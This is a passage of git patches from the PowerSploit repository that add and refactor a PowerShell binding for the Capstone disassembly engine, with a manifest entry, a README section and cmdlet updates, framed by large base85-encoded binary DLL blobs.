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 literal 0 HcmV?d00001 diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 54156d2c..049c4919 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -79,6 +79,7 @@ ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} + @{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'} ) # List of all files packaged with this module diff --git a/README.md b/README.md index 004d4afa..fbb0be26 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,14 @@ Displays symbolic information from Windows lib files. Returns the path from which Windows will load a Dll for the given executable. +## Capstone + +**A PowerShell binding for the Capstone Engine disassembly framework.** + +#### `Get-CSDisassembly` + +Disassembles a byte array using the Capstone Engine disassembly framework. + ## ReverseEngineering **Tools to aid in reverse engineering.** From 7009f92ef3673dda56203d2cb6398e91900415c7 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 26 Dec 2013 19:30:41 -0500 Subject: [PATCH 040/382] Major update to Capstone disassembly module * Refactor of C# capstone binding * Now compatible in 32 and 64-bit PowerShell --- Capstone/Capstone.psd1 | 3 --- Capstone/Get-CSDisassembly.ps1 | 26 ++++++++++++------------- Capstone/lib/capstone.dll | Bin 78336 -> 80384 bytes Capstone/lib/{ => x86}/libcapstone.dll | Bin 6326103 -> 6327686 bytes 4 files changed, 13 insertions(+), 16 deletions(-) rename Capstone/lib/{ => x86}/libcapstone.dll (86%) diff --git a/Capstone/Capstone.psd1 b/Capstone/Capstone.psd1 index 6632558d..5da5a94a 100644 --- a/Capstone/Capstone.psd1 +++ b/Capstone/Capstone.psd1 @@ -24,9 +24,6 @@ PowerShellVersion = '3.0' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' -# Processor architecture (None, X86, Amd64) required by this module -ProcessorArchitecture = 'Amd64' - # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'lib/capstone.dll' diff --git a/Capstone/Get-CSDisassembly.ps1 b/Capstone/Get-CSDisassembly.ps1 index 89c17dba..257ba96c 100644 --- a/Capstone/Get-CSDisassembly.ps1 +++ b/Capstone/Get-CSDisassembly.ps1 @@ -10,9 +10,13 @@ function Get-CSDisassembly PowerSploit Function: Get-CSDisassembly Author: Matthew Graeber (@mattifestation) License: See LICENSE.TXT - Required Dependencies: lib\capstone.dll, lib\libcapstone.dll (64-bit) + Required Dependencies: lib\capstone.dll, lib\[x86|x64]\libcapstone.dll Optional Dependencies: None +.DESCRIPTION + + Get-CSDisassembly is compatible on 32 and 64-bit. + .PARAMETER Architecture Specifies the architecture of the code to be disassembled. @@ -43,13 +47,13 @@ function Get-CSDisassembly .EXAMPLE - C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) - C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_16 -Code $Bytes -Offset 0x1000 + C:\PS>$Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode16 -Code $Bytes -Offset 0x1000 .EXAMPLE - C:\PS>$Bytes = [Byte[]] @( 0x8d, 0x4c, 0x32, 0x08, 0x01, 0xd8, 0x81, 0xc6, 0x34, 0x12, 0x00, 0x00 ) - C:\PS>Get-CSDisassembly -Architecture X86 -Mode MODE_32 -Code $Bytes -Syntax ATT + C:\PS>$Bytes = [Byte[]] @( 0x8D, 0x4C, 0x32, 0x08, 0x01, 0xD8, 0x81, 0xC6, 0x34, 0x12, 0x00, 0x00 ) + Get-CSDisassembly -Architecture X86 -Mode Mode32 -Code $Bytes -Syntax ATT .INPUTS @@ -62,20 +66,16 @@ function Get-CSDisassembly Capstone.Instruction[] Get-CSDisassembly returns an array of Instruction objects. - -.NOTES - - Get-CSDisassembly must be run from 64-bit PowerShell v3. #> [OutputType([Capstone.Instruction])] [CmdletBinding()] Param ( [Parameter(Mandatory)] - [Capstone.ARCH] + [Capstone.Architecture] $Architecture, [Parameter(Mandatory)] - [Capstone.MODE] + [Capstone.Mode] $Mode, [Parameter(Mandatory)] @@ -103,8 +103,8 @@ function Get-CSDisassembly { switch ($Syntax) { - 'Intel' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_INTEL } - 'ATT' { $SyntaxMode = [Capstone.OPT_VALUE]::SYNTAX_ATT } + 'Intel' { $SyntaxMode = [Capstone.OptionValue]::SyntaxIntel } + 'ATT' { $SyntaxMode = [Capstone.OptionValue]::SyntaxATT } } $Disassembly.SetSyntax($SyntaxMode) diff --git a/Capstone/lib/capstone.dll b/Capstone/lib/capstone.dll index bb085599b5b2c8880ee9a6de46329a4d9250ad5c..3f036ef0eda51167472868f25a4b89d46986f177 100644 GIT binary patch literal 80384 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 